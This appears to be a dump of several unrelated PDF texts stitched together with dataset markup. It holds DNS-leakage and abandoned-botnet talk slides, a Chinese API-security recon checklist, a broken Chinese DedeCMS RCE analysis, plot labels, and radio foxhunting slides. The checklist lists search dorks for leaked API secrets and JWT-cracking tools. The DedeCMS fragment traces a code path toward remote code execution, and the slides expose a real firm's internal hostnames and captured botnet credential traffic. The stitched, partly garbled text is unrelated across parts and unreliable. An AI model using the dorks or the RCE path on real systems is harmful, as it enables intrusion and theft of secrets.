nqlc.com.au.s9a1.prmtp.com\nopm-llc.com.s8a1.prmtp.com\norkla.com.s200a2.prmtp.com\npacific.net.s5a1.prmtp.com\npacrelo.com.s8b2.prmtp.com\npccpllc.com.s9a1.prmtp.com\nperlick.com.s8a1.prmtp.com\npickpro.com.s7a1.prmtp.com\npogolaw.com.s8a1.prmtp.com\npostini.com.s8a1.prmtp.com\nprupref.com.s9a1.prmtp.com\nqed-inc.com.s9a1.prmtp.com\nre4u.net.s8a2.prmtp.com\nregions.com.s6a1.prmtp.com\nremax-lx.ca.s7a1.prmtp.com\nrivkin.com.mail5.prmtp.com\nrodale.com.mail5.prmtp.com\nrosetti.com.s6b1.prmtp.com\nroute24.net.s9b2.prmtp.com\nBit-Squatting\nrubloff.com.s9b1.prmtp.com\nsage.com.au.s7b1.prmtp.com\nsbolive.com.s5a1.prmtp.com\nseabox.com.s10b2.prmtp.com\nshawinc.com.s6b1.prmtp.com\nsig-ins.com.s7a2.prmtp.com\nsilanis.com.s5a1.prmtp.com\nseattle.gov.s8b1.prmtp.com\nsmlperu.com.s6b2.prmtp.com\nsmkdlaw.com.s6b1.prmtp.com\nsmythnora.com.s8a2.prmtp.com solusii.com.s7a1.prmtp.com\nsscotti.org.s7b2.prmtp.com\nstate.pa.us.s7a1.prmtp.com\nstena.com.s200b2.prmtp.com\nstevens.edu.s9a2.prmtp.com\nstibo.com.s200a1.prmtp.com\nstroock.com.s6a2.prmtp.com\nstryker.com.s8a1.prmtp.com\nstudeo.com.s10a1.prmtp.com\nsurfari.net.s8b1.prmtp.com\nswassoc.com.s8a2.prmtp.com\nswisher.com.s8b2.prmtp.com\ntalent2.com.s9a1.prmtp.com\ntctwest.net.s5a1.prmtp.com\nthomson.net.s7a2.prmtp.com\nudayton.edu.s9b2.prmtp.com\nundss.org.s201b2.prmtp.com\nunomaha.edu.s5a2.prmtp.com\nuwc.ac.za.s200a1.prmtp.com\nvss.fsi.com.s5a1.prmtp.com\nwctatel.net.s6a1.prmtp.com\nweshred.net.s8b1.prmtp.com\nyaskawa.com.s5a1.prmtp.com\nzachry.com.s10b1.prmtp.com\nBit-Squatting\nExplore how this kind\nof thing could affect\nyou.\nMisunderstood End-Point Behavior\n Expected resolver behavior\n DNS suffix search paths\n Poorly documented behavior\n Observations and lessons learned\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nwww.google.com\nMisunderstood End-Point Behavior\nwww.google.com.\nMisunderstood End-Point Behavior\nwww.google.com\ngoogle.com\nwww\nwww.google.com.\nMisunderstood End-Point Behavior\n Suffix Search Paths\n DNS Devolution\nMisunderstood End-Point Behavior\nSuffix Search Paths\nFoo Inc.\n ad.foo.com\n foo.com\nMisunderstood End-Point Behavior\nSuffix Search Paths\nXP Behavior\nDNS Query -> www.ad.foo.com\nDNS Query -> www.foo.com\nNetBIOS Query -> www\nMisunderstood End-Point Behavior\nSuffix Search Paths\nXP Behavior\nDNS Query -> www.phx\nDNS Query -> www.phx.ad.foo.com\nDNS Query -> www.phx.foo.com\nNetBIOS Query -> www.phx\nMisunderstood End-Point Behavior\nSuffix Search Paths\nPost-XP Behavior\nDNS Query -> www.phx\nNetBIOS Query -> www.phx\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nDNS Query –> www.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – ad.foo.co.uk\nDNS Query –> www.ad.foo.co.uk\nDNS Query –> www.foo.co.uk\nDNS Query –> www.co.uk\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – ad.foo.co.uk\nDNS Query –> www.ad.foo.co.uk\nDNS Query –> www.foo.co.uk\nDNS Query –> www.co.uk\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nMisunderstood End-Point Behavior\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nDNS Query –> www.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nDNS Query –> www.com\nMisunderstood End-Point Behavior\nDNS Devolution\nXP Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nDNS Query –> www.com\nMisunderstood End-Point Behavior\nDNS Devolution\nWindows 7 Behavior\nConnection Specific Domain – phx.ad.foo.com\nDNS Query –> www.phx.ad.foo.com\nDNS Query –> www.ad.foo.com\nDNS Query –> www.foo.com\nDNS Query –> www.com\nMisunderstood End-Point Behavior\nFixed?\nMisunderstood End-Point Behavior\nBYOD\nMobile\nBroken XP\nMisunderstood End-Point Behavior\nsipinternal.com\nproxy-phoenix.com\nset-proxy.com\nMisunderstood End-Point Behavior\nwsus.com\n-\nTaken\nsms.com\n-\nTaken\nwpad.com\n-\nTaken\nsipinternal.com\n-\nMine\nMisunderstood End-Point Behavior\nsipinternal.com\nREGISTER sip:com SIP/2.0\nVia: SIP/2.0/TCP 199.41.198.254:33663\nMax-Forwards: 70\nFrom: <sip:com>;tag=e72f0d4ce7;epid=895120c8c2\nTo: <sip:com>\nCall-ID: 53b3ec1c2e0547ab9b72ab97ed17c8b0\nCSeq: 1 REGISTER\nContact: <sip:199.41.198.254:33663;transport=tcp;ms-opaque=8300f99968>;methods=\"INVITE, MESSAGE, INFO,\nOPTIONS, BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY\";proxy=replace;+sip.instance=\"<urn:uuid:D964A4BE-\nA17A-50DD-9D69-836911E33E95>\"\nUser-Agent: UCCAPI/3.5.6907.221 OC/3.5.6907.221 (Microsoft Office Communicator 2007 R2)\nSupported: gruu-10, adhoclist, msrtc-event-categories\nSupported: ms-forking\nms-keep-alive: UAC;hop-hop=yes\nEvent: registration\nContent-Length: 0\nMisunderstood End-Point Behavior\nproxy-phoenix.com\nMisunderstood End-Point Behavior\nset-proxy.com\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\n170.249.6.88 \"set-proxy.com\" \"GET /bin/setup.proxy\"\nNetRange:\n170.249.0.0 - 170.250.255.255\nOrgName:\nArthur Andersen\nOrgId:\nARTHUR-15\nMisunderstood End-Point Behavior\nset-proxy.com\n170.252.248.200 \"GET /bin/setup.proxy\" \"mstreamd/1 CFNetwork/548.1.4 Darwin/11.0.0\"\n170.252.248.200 \"GET /bin/setup.proxy\" \"WordsWithFriendsPaid/4.12.1 CFNetwork/548.1.4 Darwin\n170.252.248.200 \"GET /bin/setup.proxy\" \"itunesstored (unknown version) CFNetwork/548.1.4 Darwin\n170.252.248.200 \"GET /bin/setup.proxy\" \"Mail/53 CFNetwork/548.1.4 Darwin/11.0.0\"\n170.252.248.200 \"GET /bin/setup.proxy\" \"GeoServices/84 CFNetwork/548.1.4 Darwin/11.0.0\"\n170.252.248.200 \"GET /bin/setup.proxy\" \"Maps/1.0 CFNetwork/548.1.4 Darwin/11.0.0\"\n170.252.248.200 \"GET /bin/setup.proxy\" \"itunesstored (unknown version) CFNetwork/548.1.4 Darwin\n170.252.248.200 \"GET /bin/setup.proxy\" \"dataaccessd (unknown version) CFNetwork/548.1.4 Darwin\n170.252.248.200 \"GET /bin/setup.proxy\" \"mstreamd/1 CFNetwork/548.1.4 Darwin/11.0.0\"\n170.252.248.200 \"GET /bin/setup.proxy\" \"itunesstored (unknown version) CFNetwork/548.1.4 Darwin\nNetRange:\n170.251.0.0 - 170.252.255.255\nOrgName:\nAccenture\nOrgId:\nACCENT-10\nMisunderstood End-Point Behavior\nset-proxy.com\nMisunderstood End-Point Behavior\nset-proxy.com\nMisunderstood End-Point Behavior\nDon’t trust expectations based\nupon on how things used to\nwork, monitor and understand\nwhat normal DNS traffic looks\nlike on your network.\nYou don’t own that domain\nI do >:)\nYou don’t own that domain\n“HKLM\\System\\CurrentControlSet\\Services\\TCPIP\\Param\neters\\SearchList”\nOr\n“Windows IP Configuration” + “DNS Suffix Search List”\nYou don’t own that domain\nWindows IP Configuration\nHost Name . . . . . . . . . . . . :\nAN990107196\nPrimary Dns Suffix . . . . . . . : quanta.corp\nNode Type . . . . . . . . . . . . :\nHybrid\nIP Routing Enabled. . . . . . . . : No\nWINS Proxy Enabled. . . . . . . . : No\nDNS Suffix Search List. . . . . . : quanta.corp\nrsquanta.com\nquantacn.com\nYou don’t own that domain\nWindows IP Configuration\nHost Name . . . . . . . . . . . . :\nAN990107196\nPrimary Dns Suffix . . . . . . . : quanta.corp\nNode Type . . . . . . . . . . . . :\nHybrid\nIP Routing Enabled. . . . . . . . : No\nWINS Proxy Enabled. . . . . . . . : No\nDNS Suffix Search List. . . . . . : quanta.corp\nrsquanta.com\nquantacn.com\nYou don’t own that domain\nWindows IP Configuration\nHost Name . . . . . . . . . . . . : AN990107196\n“Quanta Computer”\n60,000 employees worldwide\nmanufactures hardware for\nYou don’t own that domain\nmailbx01.rsquanta.com\nmailbx02.rsquanta.com\nmailbx03.rsquanta.com\nmailhub04.rsquanta.com\nmailhub05.rsquanta.com\nFTP-CHT.rsquanta.com\nftp.rsquanta.com\nnb1ftp.rsquanta.com\nnb5-ftp.rsquanta.com\nf1ftp02.rsquanta.com\nftp01.rsquanta.com\nmyproxy.rsquanta.com\nproxycn.rsquanta.com\nproxy.rsquanta.com\nwpad.rsquanta.com\nwsus01.rsquanta.com\nwsus-cq.rsquanta.com\nwsus-sh1.rsquanta.com\nSMS_SLP.rsquanta.com\nYou don’t own that domain\n173.37.87.155: view external-in: query: proxy.rsquanta.com\n171.70.168.155: view external-in: query: QRDCOFC05.rsquanta.com\n171.70.168.167: view external-in: query: wpad.rsquanta.com\n17.254.0.23: view external-in: query: wpad.rsquanta.com\n17.254.0.23: view external-in: query: wsus01.rsquanta.com\n17.254.0.23: view external-in: query: proxy.rsquanta.com\n136.229.2.57: view external-in: query: proxy.rsquanta.com\n136.229.2.56: view external-in: query: qrdcprt02.rsquanta.com\n136.229.2.57: view external-in: query: QRDCOFC03.quanta.corp.rsquant\n143.166.82.252: view external-in: query: wpad.rsquanta.com\n143.166.224.3: view external-in: query: SMS_SLP.rsquanta.com\n143.166.224.11: view external-in: query: proxy.rsquanta.com\nYou don’t own that domain\nYou don’t own that domain\nBest Dry Cleaners\n99.59.76.38: query: wpad.rsquanta.com\nSan Francisco International Airport 216.9.98.80: query: wpad.rsquanta.com\nVenetian Resort Hotel Casino\n64.79.144.10: query: wpad.rsquanta.com\nMGM Mirage\n69.162.4.53: query: wpad.rsquanta.com\nYou don’t own that domain\n Please verify your configurations\n Monitor the internet for details of your internal\nconfiguration\n• Pastebin\n• Bleeping Computer\n Monitor your DNS logs to verify your clients and the\nclients of your onsite partners and vendors are\nquerying what you expect\nAbandoned Botnets and Forgotten Toys\n Expired Command and Control Domains\n Botnet remnants\n Abandoned Botnets\n Detection\nAbandoned Botnets and Forgotten Toys\nmicrosoft-windows-security.com\nWin32:EyeStye\n268 remaining infections\nUses form grabbing to steal credentials\nAbandoned Botnets and Forgotten Toys\n--55372666816118\nContent-Disposition: form-data; name=\"data\"\nbot_guid=138BFC5C-8C31-4415-92D0B382B5550E0D\nprocess_name=iexplore.exe\nhooked_func=HttpSendRequestW\nfunc_data=POST /login.php?login_attempt=1 HTTP/1.1\nlsd=AVoCccq2&email=steve*******@yahoo.com&pass=*******&defa\nult_persistent=0&timezone=240&lgnrnd=183641_PjES&lgnjs=13637435\n23&locale=en_US\n--55372666816118--\nAbandoned Botnets and Forgotten Toys\nRemaining Infections\nsimrako.com\n14162 infected\nms-stats.info\n2979 infected\nmyrestricted.info\n2203 infected\nzapalinfo.info\n2111 infected\nntpupdatedomain.com 1571 infected\nrapeisntfunny.info\n844 infected\nAbandoned Botnets and Forgotten Toys\nb.354782.InfO\n\"POST /b/i.asp HTTP/1.1”\nContent-Disposition: form-data; name=\"InSfo”\ntxtUserId::Gupta\ntxtPassword::*******\nContent-Disposition: form-data; name=\"BasicSInfo”\n192.168.50.26|192.168.50.26|8.0000|00-1C-C0-EB-E9-34|BC01-0920\nAbandoned Botnets and Forgotten Toys\nET_product::SSIM\nET_component::BACKEND\nET_version::4.8\nET_target_version::4.8\nET_assigned_to::gaurav_pratap\nET_type::DEFECT\nET_state::CLOSED\nET_reporter::gaurav_pratap\nET_severity::2\nET_priority::2\nET_resolution::SOURCE_CHANGE\nET_user_defined_list::FILES\nET_user_defined_list2::SECURITY\nET_build::153\nET_target_build::184\nSite::engtools.engba.symantec.com\nMac::00-24-E8-4A-ED-A3\nVer::BC01-0920\nAbandoned Botnets and Forgotten Toys\nNXDOMAIN Hijacking\nAbandoned Botnets and Forgotten Toys\nNXDOMAIN Hijacking\nAbandoned Botnets and Forgotten Toys\nNXDOMAIN Hijacking\nAbandoned Botnets and Forgotten Toys\nNXDOMAIN Hijacking\nAbandoned Botnets and Forgotten Toys\nDetection\n Collect your DNS logs into a database\n Regularly extract names being queried for the\nfirst time in your environment\n Look for names only being queried by a single\nclient\n Look up the registration dates and owners\n Look for anything resolving to 127.0.0.1\nAbandoned Botnets and Forgotten Toys\nResources\n Bro – http://www.bro.org\n DNS Anomaly Detection -\nhttp://code.google.com/p/security-\nonion/wiki/DNSAnomalyDetection\n Passive DNS - https://github.com/gamelinux/passivedns\n Response Policy Zones (RPZ)\n DNS Sinkholes -\nhttp://handlers.sans.edu/gbruneau/sinkhole.htm\nAbandoned Botnets and Forgotten Toys\nWhite Papers\n Passive Monitoring of DNS Anomalies\nhttp://www.caida.org/publications/papers/2007/dns_anomalies/dns_anomalies.pdf\n Detecting Malware Domains at the Upper DNS Hierarchy\nhttps://www.usenix.org/legacy/event/sec11/tech/full_papers/Antonakakis.pdf\n Mining DNS for Malicious Domain Registration\nhttp://www.mcafee.com/us/resources/white-papers/wp-mining-dns-for-malicious-domain-\nregist.pdf\n Preprocessing DNS Log Data for Effective Data Mining\nhttp://www.ccs.neu.edu/home/koods/papers/snyder09preprocessing.pdf\n Detecting Botnet Activities Based on Abnormal DNS Traffic\nhttp://arxiv.org/pdf/0911.0487v1.pdf\nQuestions?\nbobx@rot26.net\nPlease contact me with any questions,\ncomments, or opportunities :)\nThank You!"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":78,"cells":{"text":{"kind":"string","value":"MindAPI\n最近API安全概念停⽕的，正好前⼀阵在Twitter上看到⼀个API安全的思维导图，感觉很全⾯，\n在这⾥稍微总结下。\n⼀、框架识别\n1.API框架种类\n(1) REST APIs \nRESTful 、OData\n(2) GraphQL\n这⾥有⼀个关于GraphQL的测试项⽬\nhttps://github.com/nicholasaleks/graphql-threat-matrix\n(3) SOAP\nSOAP 很熟悉了，也就是WebService，开源的Service框架有Apache CXF、以及Apache \nAXIS1 2等\n(4) XML-RPC\n以更简单的 XML 格式传输数据,这⾥很容易联想到Apache OFbiz XML-RPC 反序列化漏洞\n(5) JSON-RPC\n以JSON格式化⽅式传输数据\n(6) gRPC-Protobuf\n可以从header头、Content-Type、以及Access-control-expose-headers 响应头\n2.API框架简介相关文档\nhttps://smartbear.com/blog/soap-vs-rest-whats-the-difference/\nhttps://www.odata.org/documentation/\nhttps://www.howtographql.com/basics/1-graphql-is-the-better-rest/\nhttps://www.smashingmagazine.com/2016/09/understanding-rest-and-rpc-for-http-ap\nis/\nhttps://www.soapui.org/docs/rest-testing/working-with-rest-services/\nhttps://cloud.google.com/blog/products/api-management/understanding-grpc-openapi\n-and-rest-and-when-to-use-them\nhttps://openapi.tools/\n⼆、⼀些框架⾃带URL特征\n三、如何⿊盒进⾏API信息收集\n这⾥主要列出了⼀些API接⼝测试的⼯具和⽹站及技巧\n⼯具：Burp、mitmproxy、Wireshark、APKLeaks、APKEnum、Api-Guesser、Keyhacks\nGoogle搜索技巧：site:target.tld inurl:api 、intitle:\"index of\" \"api.yaml\" site:target.tld、\nWADL WSDL：inurl:/application.wadl、user filetype:wadl、ext:wadl、user filetype:wsd、\next:wsdl、\nOData：Inurl:/%24metadata\nGithub：https://github.com/search?q=target.tld+%252Bapi\nhttps://github.com/search?q=target.tld+application.wadl&type=code\nhttps://github.com/search?q=target.tld+*.wsdl&type=code\n其他：intitle:\"index of\" intext:\"apikey.txt\" site:target.tld、allintext:\"API_SECRET*\" ext:env \n| ext:yml site:target.tld\nhttps://github.com/dxa4481/truffleHog\nhttps://github.com/eth0izzle/shhgit\n⼀些API聚合以及搜索⽹站：\nhttps://apilist.fun/\nhttps://apiharmony-open.mybluemix.net/public\nhttps://www.programmableweb.com/\nhttps://rapidapi.com/hub\nhttp://apis.io/\nhttps://app.swaggerhub.com/search\nhttps://apis.guru/\nhttps://www.postman.com/explore/apis\nhttps://any-api.com/\nhttps://smart-api.info/registry\nhttps://www.apistack.io/\nhttps://public-apis.xyz/\nAPI字典及枚举⼯具：\n四、API接⼝测试\n1.⼀些⼯具\nREST APIs：https://github.com/flipkart-incubator/Astra\nhttps://github.com/bncrypted/apidor\nhttps://github.com/SecurityInnovation/AuthMatrix\nhttps://github.com/PortSwigger/autorize\nhttps://github.com/portswigger/auth-analyzer\nhttps://github.com/ant4g0nist/Susanoo\nGraphQL：https://github.com/doyensec/inql\nhttps://gitlab.com/dee-see/graphql-path-enum\nhttps://graphql-dashboard.herokuapp.com/\ngRPC：https://github.com/trailofbits/protofuzz\n2.突破身份验证\n(1).身份校验类型\nJWT相关测试⼯具：https://github.com/ticarpi/jwt_tool\nhttps://github.com/lmammino/jwt-cracker\nhttps://github.com/aress31/jwtcat\nhttps://github.com/wallarm/jwt-heartbreaker\n此外JWT Checklist：https://cloud.tencent.com/developer/article/1552824\nOauth\n重定向测试：?redirect_uri、XSS、CSRF\nBasic 认证\n3.其他测试项"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":79,"cells":{"text":{"kind":"string","value":":\nhttps://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html\n**\n**\n**\n**\n:include/filter.inc.php\n**\n**\ndedecmsinclude/common.inc.php\npost get cookie _RunMagicQuotes \nget post globals, ,\nfilter.inc.php\n$magic_quotes_gpcgpcaddslashes,\nforeachkeymagic_quotes_gpc, return\nfilter.inc.php\ndedecms v5.7 bookfeedback.php\n,\ncommon.inc.php\n,\nRCE\ndedecms v5.8\nflink onlymsg1,\n,showmsg\nonlymsg0\nfunction ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0){ if \n(empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if \n($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? \n$_SERVER['HTTP_REFERER'] : ''; if ($gourl == \"\") { $gourl = -1; \n} }\n $htmlhead = \" <html>\\r\\n<head>\\r\\n<title>DedeCMS</title>\\r\\n <meta \nhttp-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset={dede:global.cfg_soft_lang/}\\\" \n/> <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1, maximum-\nscale=1, user-scalable=no\\\"> <meta name=\\\"renderer\\\" content=\\\"webkit\\\"> <meta \nhttp-equiv=\\\"Cache-Control\\\" content=\\\"no-siteapp\\\" /> <link rel=\\\"stylesheet\\\" \ntype=\\\"text/css\\\" href=\\\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\\\" /> \n <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\n{dede:global.cfg_assets_dir/}/css/manage.dede.css\\\"> <base target='_self'/> \n</head> <body> \" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') \n. \" <center style=\\\"width:450px\\\" class=\\\"uk-container\\\"> <div class=\\\"uk-\ncard uk-card-small uk-card-default\\\" style=\\\"margin-top: 50px;\\\"> <div \nclass=\\\"uk-card-header\\\" style=\\\"height:20px\\\">DedeCMS </div>\n <script>\\r\\n\"; $htmlfoot = \" </script> </center> <script \nsrc=\\\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\\\"></script> <script \nsrc=\\\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\\\"></script> \n</body>\\r\\n</html>\\r\\n\";\n $litime = ($limittime == 0 ? 1000 : $limittime); //1000 $func = '';\nflinkshowmsg gourl-1\n if ($gourl == '-1') { if ($limittime == 0) { $litime = 3000; \n }\n $gourl = \"javascript:history.go(-1);\"; }\n if ($gourl == '' || $onlymsg == 1) {\n $msg = \"<script>alert(\\\"\" . str_replace(\"\\\"\", \"“\", $msg) . \"\\\");</script>\";\n } else { //:close::objname , id=objname if \n(preg_match('/close::/', $gourl)) { $tgobj = trim(preg_replace('/close::/', \n'', $gourl));\n $gourl = 'javascript:;'; $func .= \n\"window.parent.document.getElementById('{$tgobj}').style.display='none';\\r\\n\"; \n //echo $func;\n }\n $func .= \"var pgo=0; function JumpUrl(){ if(pgo==0){ \nlocation='$gourl'; pgo=1; } }\\r\\n\"; $rmsg = $func; $rmsg .= \n\"document.write(\\\"<div style='height:130px;font-size:10pt;background:#ffffff'><br \n/>\\\");\\r\\n\"; $rmsg .= \"document.write(\\\"\" . str_replace(\"\\\"\", \"“\", $msg) . \n\"\\\");\\r\\n\"; $rmsg .= \"document.write(\\\"\";\n if ($onlymsg == 0) { if ($gourl != 'javascript:;' && $gourl != '') { \n $rmsg .= \"<br /><a href='{$gourl}'>...</a>\"; \n $rmsg .= \"<br/></div>\\\");\\r\\n\"; $rmsg .= \n\"setTimeout('JumpUrl()',$litime);\"; } else { $rmsg .= \"<br/>\n</div>\\\");\\r\\n\"; } } else { $rmsg .= \"<br/><br/>\n</div>\\\");\\r\\n\"; } $msg = $htmlhead . $rmsg . $htmlfoot; //echo \n$msg;\n }\n $tpl = new DedeTemplate(); $tpl->LoadString($msg);\n $tpl->Display();}\n-1 referer$gourl\ngourlreplacetgobj func $msg\nloadstringmsgmd5,\ndisplay\nwirecache\n, \ninclude ,\nflink1\nrecommend.php rce\n -1 only0"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":80,"cells":{"text":{"kind":"string","value":"Distance (m)\n0\n5\n10\n15\n20\n25\n30\n35\nRSS (dBm)\n-100\n-90\n-80\n-70\n-60\n-50\n-40\nModel P = 2.0\nMean RSS\nCollected RSS"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":81,"cells":{"text":{"kind":"string","value":"Practical Foxhunting \n101\nAdam Wirth - SimonJ\nOverview\n‣ About me \n‣ About Foxhunting \n‣ Equipment Overview & Selection \n‣ Preparation \n‣ Techniques\n2\nWho Am I?\n‣ More than 15 years professional experience as \na software & systems engineer \n‣ Most of my career has been spent working on \nwireless communications & emitter geolocation \nsystems \n‣ Last year’s winner of the Hide & Seek and \nFoxhunt events in the Wireless Pentathlon\n3\nWhat is Foxhunting?\n‣ Finding the physical location of wireless emitters and/or their users, by \nmeasuring received power from different locations \n‣ Foxhunting is between the \"last mile\" and the “last feet”; for greater or \nlesser distances, other techniques are more appropriate \n‣ Wet-work ninjas finding the correct bedroom in the house of the South \nAmerican populist government official \n‣ Tracking the Corporate Exec whose iPhone you've trojaned into an \naccess point, as part of a Red Team penetration test \n‣ DEFCON 22 Wireless CTF \n‣ Techniques are applicable to all RF emitters, like mobiles phones, WiFi \nAPs, heart monitors, etc.\n4\nWhat Equipment’s Involved?\n‣ Antennas \n‣ Omnidirectional and directional, for different purposes \n‣ Radios \n‣ Capable of receiving the signal-of-interest \n‣ Software-defined radios are finally becoming affordable \n‣ Visualization Software \n‣ Most important feature is viewing received power over time\n5\nGear Selection:\nAntennas\n6\nPhoto courtesy of NASA\nAperture Versus Gain\n‣ As a rule, the more sensitive the antenna, the more \nfocused (directional) its reception pattern \n‣ Too much gain can be a bad thing \n‣ High gain requires accurate pointing \n‣ Power curve follows the Inverse-Square Law \n‣ Unless you can attenuate your gain, you lose range \ndiscrimination when you’re close to an emitter\n7\nOmnidirectional \nAntennas\n‣ Typically have a toroidal radiation \npattern \n‣ Gain varies inversely with z-axis \ndirectionality \n‣ For foxhunting, high gain is good \n‣ Provides greater detection \ndistance \n‣ Allows some degree of \nattenuation by varying orientation\n8\nDirectional Antennas\n‣ There are only two good choices, based on availability: \n‣\nYagi: High gain, narrow aperture, narrow bandwidth \n‣\nPanel: Refers to several varieties of antennas that are flat \nperpendicular to their boresight, therefore performance varies \n‣ Log-periodic antennas are also available, but are less common \n‣ If you’re on a budget, it’s easy to make your own Cantenna or \nWokFi \n‣ Choose your antenna based on performance and form factor\n9\nDirectional Antenna Pattern\nBeware of back lobes & side lobes when hunting\n10\nMulti-antenna Arrays\n‣ Generally proprietary (Read: expensive) \n‣ Require custom software \n‣ Tricky to configure and use correctly \n‣ But awesome when you have one! \n‣ Challenge: Create a HackRF-based DF array\n11\nGear Selection:\nRadios\n12\nCost Versus Performance\n‣ RF equipment can get expensive quickly \n‣ Broadband radios and software-defined radios \nare more expensive than their application-\nspecific counterparts, but are more flexible \n‣ Low-cost SDR is starting to become a reality \n‣ WiFi radios are particularly inexpensive; perfect \nfor beginners: Alfa 1 & Alfa N\n13\nVariable Attenuators\n‣ Used to reduce the strength of the received signal \n‣ Allow you to use a very high-gain antenna, even at \nclose ranges \n‣ Not strictly necessary, but add versatility \n‣ Many types are available, but they usually aren’t \ncheap; check eBay \n‣ Old-fashioned variable attenuator: rotate your antenna\n14\nSignal Displays\n‣ Power Spectral Display \n‣ Helps locate your target in the RF spectrum \n‣ Not always needed, if you have other ways of tuning to an emitter \n‣ Power/Time Domain \n‣ Used to track your target over time \n‣ Foxhunting tool of choice \n‣ Cumulative Spectral Decay / Spectrogram / Waterfall \n‣ PSD & PTD combined; can be used to track multiple emitters \nover time: information overload for simple foxhunting\n15\n16\nSignal Displays\nUsing Your Gear\n17\nPreparation\n‣ Know and be comfortable with your equipment, \nespecially how long your batteries will last \n‣ Learn detection ranges for your particular setup; \nWiFi radios estimate signal strength inconsistently \n‣ Know how sensitive your back/side lobes are \n‣ Become fluent in the software you’re using \n‣ Practice\n18\nInconspicuousness\n‣ If you have a bunch of obvious equipment, people will be wary \nand avoid you \n‣ Fly below the radar, or risk spooking your target\n19\nGeneral Tips\n‣ Be aggressive! Make an active effort to seek your target \n‣ Be aware of your environment, and take an organized \napproach to your search area; don’t just wander randomly \n‣ Keep a mental map of where you’ve been, and the \nobserved signal levels along the way, for mental \ntriangulation \n‣ Heads Up! Don't glue your nose to the screen, or you \nmight miss a chance to find your target based on \nsecondary indicators\n20\nMultipath\n‣ RF emanations will reflect off structures and objects \n‣ Same signal will be received from different directions at \ndifferent times (Phase Shift) \n‣ Changes the SNR of the received signal (Multipath Fading) \n‣ To mitigate multipath interference during a foxhunt, keep \nmoving!\n21\nUsing An Omni\n‣ Used for proximity detection (Am I getting closer to the \nemitter?) \n‣ Possible to successfully hunt with just an omni \n‣ Easier when dealing with stationary targets \n‣ Move around a lot to determine emitter proximity \nfrom various locations \n‣ Keep a good mental map, to perform on-the-fly \ntriangulation\n22\nUsing A Directional\n‣ Steers you in the right direction, once you’ve \ndetermined proximity using the omni \n‣ Helpful to have a variable attenuator between your \ndirectional antenna and the radio \n‣ Reduces the antenna’s lobes (enhancing \ndirectionality) \n‣ Reduces your effective gain when you're getting \ncloser, to give you more headroom against your \nradio's maximum input gain\n23\nBasic Strategy\n‣ Tune your radios to the target emitter \n‣ Walk a search pattern, watching the signal strength on a PTD plot \n‣ Use the omni to determine if you’re getting closer \n‣ Use the directional, and your historical direction of travel, to \ndetermine in which direction to continue \n‣ If you start to peak your signal, add attenuation \n‣ Don’t go too fast, because received power will fluctuate \n‣ Look around: The emitter may become obvious once you relate RF \npower to what you see in the environment\n24\nMy WiFi Setup\n‣ 5db Omnidirectional rubber duck \n‣ 8db simpleWiFi mini panel \n‣ HP 8495A Manual Step Attenuator \n‣ Alfa USB NICs - Alfa 1 & Alfa N \n‣ Alfa N on the omni - it holds connections better \n‣ Alfa 1 on the panel - it’s more of a pure radio \n‣ No good free software; Kismet/Kismon, WiFi Analyzer (Android), \nand NetSurveyor (Windows) are 